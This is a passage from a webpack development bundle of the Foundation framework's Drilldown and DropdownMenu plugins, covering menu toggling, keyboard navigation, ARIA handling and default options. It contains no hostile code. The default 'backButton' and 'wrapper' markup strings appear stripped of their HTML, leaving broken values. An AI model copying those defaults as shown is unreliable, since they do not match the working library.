(_this.options.parentLink && $element.attr('href')) {\n // Link with href\n return false;\n } else if (!$element.is(_this.$menuItems)) {\n // not menu item means back button\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n } else if ($element.is(_this.$submenuAnchors)) {\n // Sub menu item\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); // end keyboardAccess\n }\n /**\n * Closes all open elements, and returns to root menu.\n * @function\n * @fires Drilldown#closed\n */\n\n }, {\n key: \"_hideAll\",\n value: function _hideAll() {\n var $elem = this.$element.find('.is-drilldown-submenu.is-active').addClass('is-closing');\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n $elem.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function (e) {\n $elem.removeClass('is-active is-closing');\n });\n /**\n * Fires when the menu is fully closed.\n * @event Drilldown#closed\n */\n\n this.$element.trigger('closed.zf.drilldown');\n }\n /**\n * Adds event listener for each `back` button, and closes open menus.\n * @function\n * @fires Drilldown#back\n * @param {jQuery} $elem - the current sub-menu to add `back` event.\n */\n\n }, {\n key: \"_back\",\n value: function _back($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown');\n $elem.children('.js-drilldown-back').on('click.zf.drilldown', function (e) {\n e.stopImmediatePropagation(); // console.log('mouseup on back');\n\n _this._hide($elem); // If there is a parent submenu, call show\n\n\n var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n\n if (parentSubMenu.length) {\n _this._show(parentSubMenu);\n }\n });\n }\n /**\n * Adds event listener to menu items w/o submenus to close open menus on click.\n * @function\n * @private\n */\n\n }, {\n key: \"_menuLinkEvents\",\n value: function _menuLinkEvents() {\n var _this = this;\n\n this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n // e.stopImmediatePropagation();\n setTimeout(function () {\n _this._hideAll();\n }, 0);\n });\n }\n /**\n * Sets the CSS classes for submenu to show it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setShowSubMenuClasses\",\n value: function _setShowSubMenuClasses($elem, trigger) {\n $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n $elem.parent('li').attr('aria-expanded', true);\n\n if (trigger === true) {\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n }\n /**\n * Sets the CSS classes for submenu to hide it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setHideSubMenuClasses\",\n value: function _setHideSubMenuClasses($elem, trigger) {\n $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n $elem.parent('li').attr('aria-expanded', false);\n\n if (trigger === true) {\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n }\n /**\n * Opens a specific drilldown (sub)menu no matter which (sub)menu in it is currently visible.\n * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n */\n\n }, {\n key: \"_showMenu\",\n value: function _showMenu($elem, autoFocus) {\n var _this = this; // Reset drilldown\n\n\n var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n $expandedSubmenus.each(function (index) {\n _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n }); // Save the menu as the currently displayed one.\n\n this.$currentMenu = $elem; // If target menu is root, focus first link & exit\n\n if ($elem.is('[data-drilldown]')) {\n if (autoFocus === true) $elem.find('li[role=\"treeitem\"] > a').first().focus();\n if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n return;\n } // Find all submenus on way to root incl. the element itself\n\n\n var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]'); // Open target menu and all submenus on its way to root\n\n $submenus.each(function (index) {\n // Update height of first child (target menu) if autoHeight option true\n if (index === 0 && _this.options.autoHeight) {\n _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n }\n\n var isLastChild = index == $submenus.length - 1; // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n // Last child makes sure the event gets always triggered even if going through several menus\n\n if (isLastChild === true) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n if (autoFocus === true) {\n $elem.find('li[role=\"treeitem\"] > a').first().focus();\n }\n });\n }\n\n _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n });\n }\n /**\n * Opens a submenu.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n */\n\n }, {\n key: \"_show\",\n value: function _show($elem) {\n var $submenu = $elem.children('[data-submenu]');\n $elem.attr('aria-expanded', true);\n this.$currentMenu = $submenu;\n $submenu.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n\n if (this.options.autoHeight) {\n this.$wrapper.css({\n height: $submenu.data('calcHeight')\n });\n }\n /**\n * Fires when the submenu has opened.\n * @event Drilldown#open\n */\n\n\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n /**\n * Hides a submenu\n * @function\n * @fires Drilldown#hide\n * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem) {\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n\n var _this = this;\n\n $elem.parent('li').attr('aria-expanded', false);\n $elem.attr('aria-hidden', true);\n $elem.addClass('is-closing').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function () {\n $elem.removeClass('is-active is-closing');\n $elem.blur().addClass('invisible');\n });\n /**\n * Fires when the submenu has closed.\n * @event Drilldown#hide\n */\n\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n /**\n * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n * Prevents content jumping.\n * @function\n * @private\n */\n\n }, {\n key: \"_getMaxDims\",\n value: function _getMaxDims() {\n var maxHeight = 0,\n result = {},\n _this = this; // Recalculate menu heights and total max height\n\n\n this.$submenus.add(this.$element).each(function () {\n var numOfElems = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('li').length;\n var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__[\"Box\"].GetDimensions(this).height;\n maxHeight = height > maxHeight ? height : maxHeight;\n\n if (_this.options.autoHeight) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n }\n });\n if (this.options.autoHeight) result['height'] = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n return result;\n }\n /**\n * Destroys the Drilldown Menu\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n\n this._hideAll();\n\n this.$element.off('mutateme.zf.trigger');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'drilldown');\n this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n this.$submenuAnchors.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n });\n this.$element.find('[data-is-parent-link]').detach();\n this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n this.$element.find('a').each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n $link.removeAttr('tabindex');\n\n if ($link.data('savedHref')) {\n $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n } else {\n return;\n }\n });\n }\n }]);\n\n return Drilldown;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nDrilldown.defaults = {\n /**\n * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n * @option\n * @type {boolian}\n * @default true\n */\n autoApplyClass: true,\n\n /**\n * Markup used for JS generated back button. Prepended or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
  • Back
  • '\n */\n backButton: '
  • Back
  • ',\n\n /**\n * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n * @option\n * @type {string}\n * @default top\n */\n backButtonPosition: 'top',\n\n /**\n * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
    '\n */\n wrapper: '
    ',\n\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Allow the menu to return to root list on body click.\n * @option\n * @type {boolean}\n * @default false\n */\n closeOnClick: false,\n\n /**\n * Allow the menu to auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n autoHeight: false,\n\n /**\n * Animate the auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n animateHeight: false,\n\n /**\n * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n * @option\n * @type {boolean}\n * @default false\n */\n scrollTop: false,\n\n /**\n * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n * @option\n * @type {string}\n * @default ''\n */\n scrollTopElement: '',\n\n /**\n * ScrollTop offset\n * @option\n * @type {number}\n * @default 0\n */\n scrollTopOffset: 0,\n\n /**\n * Scroll animation duration\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Scroll animation easing. Can be `'swing'` or `'linear'`.\n * @option\n * @type {string}\n * @see {@link https://api.jquery.com/animate|JQuery animate}\n * @default 'swing'\n */\n animationEasing: 'swing' // holdOpen: false\n\n};\n\n\n//# sourceURL=webpack:///./js/foundation.drilldown.js?")},"./js/foundation.dropdownMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"DropdownMenu\", function() { return DropdownMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdown-menu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n */\n\nvar DropdownMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(DropdownMenu, _Plugin);\n\n function DropdownMenu() {\n _classCallCheck(this, DropdownMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(DropdownMenu).apply(this, arguments));\n }\n\n _createClass(DropdownMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of DropdownMenu.\n * @class\n * @name DropdownMenu\n * @fires DropdownMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, DropdownMenu.defaults, this.$element.data(), options);\n this.className = 'DropdownMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].register('DropdownMenu', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the plugin, and calls _prepareMenu\n * @private\n * @function\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Feather(this.$element, 'dropdown');\n var subs = this.$element.find('li.is-dropdown-submenu-parent');\n this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n this.$menuItems = this.$element.find('[role=\"menuitem\"]');\n this.$tabs = this.$element.children('[role=\"menuitem\"]');\n this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n\n if (this.options.alignment === 'auto') {\n if (this.$element.hasClass(this.options.rightClass) || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() || this.$element.parents('.top-bar-right').is('*')) {\n this.options.alignment = 'right';\n subs.addClass('opens-left');\n } else {\n this.options.alignment = 'left';\n subs.addClass('opens-right');\n }\n } else {\n if (this.options.alignment === 'right') {\n subs.addClass('opens-left');\n } else {\n subs.addClass('opens-right');\n }\n }\n\n this.changed = false;\n\n this._events();\n }\n }, {\n key: \"_isVertical\",\n value: function _isVertical() {\n return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n }\n }, {\n key: \"_isRtl\",\n value: function _isRtl() {\n return this.$element.hasClass('align-right') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() && !this.$element.hasClass('align-left');\n }\n /**\n * Adds event listeners to elements within the menu\n * @private\n * @function\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this,\n hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n parClass = 'is-dropdown-submenu-parent'; // used for onClick and in the keyboard handlers\n\n\n var handleClickFn = function handleClickFn(e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n hasSub = $elem.hasClass(parClass),\n hasClicked = $elem.attr('data-is-click') === 'true',\n $sub = $elem.children('.is-dropdown-submenu');\n\n if (hasSub) {\n if (hasClicked) {\n if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n return;\n } else {\n e.stopImmediatePropagation();\n e.preventDefault();\n\n _this._hide($elem);\n }\n } else {\n e.preventDefault();\n e.stopImmediatePropagation();\n\n _this._show($sub);\n\n $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n }\n }\n };\n\n if (this.options.clickOpen || hasTouch) {\n this.$menuItems.on('click.zf.dropdownmenu touchstart.zf.dropdownmenu', handleClickFn);\n } // Handle Leaf element Clicks\n\n\n if (_this.options.closeOnClickInside) {\n this.$menuItems.on('click.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (!hasSub) {\n _this._hide();\n }\n });\n }\n\n if (!this.options.disableHover) {\n this.$menuItems.on('mouseenter.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub) {\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._show($elem.children('.is-dropdown-submenu'));\n }, _this.options.hoverDelay));\n }\n }).on('mouseleave.zf.dropdownMenu', Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"ignoreMousedisappear\"])(function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub && _this.options.autoclose) {\n if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n return false;\n }\n\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._hide($elem);\n }, _this.options.closingTime));\n }\n }));\n }\n\n this.$menuItems.on('keydown.zf.dropdownmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"menuitem\"]'),\n isTab = _this.$tabs.index($element) > -1,\n $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(i - 1);\n $nextElement = $elements.eq(i + 1);\n return;\n }\n });\n\n var nextSibling = function nextSibling() {\n $nextElement.children('a:first').focus();\n e.preventDefault();\n },\n prevSibling = function prevSibling() {\n $prevElement.children('a:first').focus();\n e.preventDefault();\n },\n openSub = function openSub() {\n var $sub = $element.children('ul.is-dropdown-submenu');\n\n if ($sub.length) {\n _this._show($sub);\n\n $element.find('li > a:first').focus();\n e.preventDefault();\n } else {\n return;\n }\n },\n closeSub = function closeSub() {\n //if ($element.is(':first-child')) {\n var close = $element.parent('ul').parent('li');\n close.children('a:first').focus();\n\n _this._hide(close);\n\n e.preventDefault(); //}\n };\n\n var functions = {\n open: openSub,\n close: function close() {\n _this._hide(_this.$element);\n\n _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n\n\n e.preventDefault();\n },\n handled: function handled() {\n e.stopImmediatePropagation();\n }\n };\n\n if (isTab) {\n if (_this._isVertical()) {\n // vertical menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: closeSub,\n previous: openSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: openSub,\n previous: closeSub\n });\n }\n } else {\n // horizontal menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: prevSibling,\n previous: nextSibling,\n down: openSub,\n up: closeSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: nextSibling,\n previous: prevSibling,\n down: openSub,\n up: closeSub\n });\n }\n }\n } else {\n // not tabs -> one sub\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: closeSub,\n previous: openSub,\n down: nextSibling,\n up: prevSibling\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: openSub,\n previous: closeSub,\n down: nextSibling,\n up: prevSibling\n });\n }\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].handleKey(e, 'DropdownMenu', functions);\n });\n }\n /**\n * Adds an event handler to the body to close any dropdowns on a click.\n * @function\n * @private\n */\n\n }, {\n key: \"_addBodyHandler\",\n value: function _addBodyHandler() {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body),\n _this = this;\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu').on('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu', function (e) {\n var $link = _this.$element.find(e.target);\n\n if ($link.length) {\n return;\n }\n\n _this._hide();\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu');\n });\n }\n /**\n * Opens a dropdown pane, and checks for collisions first.\n * @param {jQuery} $sub - ul element that is a submenu to show\n * @function\n * @private\n * @fires Dropdownmenu#show\n */\n\n }, {\n key: \"_show\",\n value: function _show($sub) {\n var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n }));\n var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n\n this._hide($sibs, idx);\n\n $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n }\n\n this.changed = true;\n }\n\n $sub.css('visibility', '');\n\n if (this.options.closeOnClick) {\n this._addBodyHandler();\n }\n /**\n * Fires when the new dropdown pane is visible.\n * @event Dropdownmenu#show\n */\n\n\n this.$element.trigger('show.zf.dropdownmenu', [$sub]);\n }\n /**\n * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n * @function\n * @param {jQuery} $elem - element with a submenu to hide\n * @param {Number} idx - index of the $tabs collection to hide\n * @private\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem, idx) {\n var $toClose;\n\n if ($elem && $elem.length) {\n $toClose = $elem;\n } else if (typeof idx !== 'undefined') {\n $toClose = this.$tabs.not(function (i, el) {\n return i === idx;\n });\n } else {\n $toClose = this.$element;\n }\n\n var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n\n if (somethingToClose) {\n $toClose.find('li.is-active').add($toClose).attr({\n 'data-is-click': false\n }).removeClass('is-active');\n $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n\n if (this.changed || $toClose.find('opens-inner').length) {\n var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n this.changed = false;\n }\n /**\n * Fires when the open menus are closed.\n * @event Dropdownmenu#hide\n */\n\n\n this.$element.trigger('hide.zf.dropdownmenu', [$toClose]);\n }\n }\n /**\n * Destroys the plugin.\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$menuItems.off('.zf.dropdownmenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownmenu');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Burn(this.$element, 'dropdown');\n }\n }]);\n\n return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__[\"Plugin\"]);\n/**\n * Default settings for plugin\n */\n\n\nDropdownMenu.defaults = {\n /**\n * Disallows hover events from opening submenus\n * @option\n * @type {boolean}\n * @default false\n */\n disableHover: false,\n\n /**\n * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n * @option\n * @type {boolean}\n * @default true\n */\n autoclose: true,\n\n /**\n * Amount of time to delay opening a submenu on hover event.\n * @option\n * @type {number}\n * @default 50\n */\n hoverDelay: 50,\n\n /**\n * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n * @option\n * @type {boolean}\n * @default false\n */\n clickOpen: false,\n\n /**\n * Amount of time to delay closing a submenu on a mouseleave event.\n * @option\n * @type {number}\n * @default 500\n */\n closingTime: 500,\n\n /**\n * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n * @option\n * @type {string}\n * @default 'auto'\n */\n alignment: 'auto',\n\n /**\n * Allow clicks on the body to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allow clicks on leaf anchor links to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClickInside: true,\n\n /**\n * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'vertical'\n */\n verticalClass: 'vertical',\n\n /**\n * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'align-right'\n */\n rightClass: 'align-right',\n\n /**\n * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n * @option\n * @type {boolean}\n * @default true\n */\n forceFollow: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.dropdownMenu.js?")},"./js/foundation.responsiveMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveMenu", function() { return ResponsiveMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === 